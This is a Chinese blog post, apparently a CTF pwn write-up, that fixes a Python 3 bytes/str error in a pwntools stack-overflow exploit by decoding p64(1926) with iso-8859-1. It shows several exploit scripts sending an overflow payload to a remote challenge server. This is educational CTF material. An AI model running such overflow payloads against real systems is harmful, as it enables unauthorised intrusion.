当前位置: 代码迷 >> 综合 >> 字符串编码解决python3 payload=‘a‘ +p64(1926)报错问题
  详细解决方案

字符串编码解决python3 payload=‘a‘ +p64(1926)报错问题

热度:29   发布时间:2024-02-23 23:35:58.0

这是基于一些PWN题实战发现的问题

先对题目进行简述,简单的栈溢出,要求在填充八个字节以后用int类型1926对后面四个字节进行覆盖

先上代码以及报错信息

from pwn import*
r = remote("220.249.52.133",47338)
payload='aaaaaaaa'
payload += p64(1926)
r.recvuntil("What's Your Birth?\n")
r.sendline("2000")
r.recvuntil("What's Your Name?\n")
r.sendline(payload)
r.interactive()

在这里插入图片描述
这是网上常见WP,在python2.7中可以轻松跑过,在python3中对字符串相加增加了要求,以至于会报类型不匹配。

尝试强制类型转换

from pwn import*
r = remote("220.249.52.133",56449)
payload='aaaaaaaa'
payload += str(p64(1926))
r.recvuntil("What's Your Birth?\n")
r.sendline("2000")
r.recvuntil("What's Your Name?\n")
r.sendline(payload)
print(r.recv())
r.interactive()

11这里我们想传入的是1926,但结果是2019305314,考虑编码问题,1926用方法p64()处理后形成小端序字节码,在传入的时候我们想让它用ASCLL编码,对单个字节处理,但str()强制转换编码模式可能不是ASCII。
查资料,python3中str()用Unicode编码,对两个字节进行处理,找到问题所在。

尝试用ASCII对其进行编码

from pwn import*
r = remote("220.249.52.133",56449)
payload='aaaaaaaa'
payload +=p64(1926).decode("Ascii")
r.recvuntil("What's Your Birth?\n")
r.sendline("2000")
r.recvuntil("What's Your Name?\n")
r.sendline(payload)
print(r.recv())
r.interactive()

在这里插入图片描述
报错,ASCII处理0x86发生溢出,发现ASCII处理范围为0-127,寻找一种可以单字节编码,且编码范围在0-255的编码方式。
发现iso-8859-1编码.

问题解决

from pwn import*
r = remote("220.249.52.133",56449)
payload='aaaaaaaa'
payload +=p64(1926).decode("iso-8859-1")
r.recvuntil("What's Your Birth?\n")
r.sendline("2000")
r.recvuntil("What's Your Name?\n")
r.sendline(payload)
print(r.recv())
r.interactive()

在这里插入图片描述问题解决。

  相关解决方案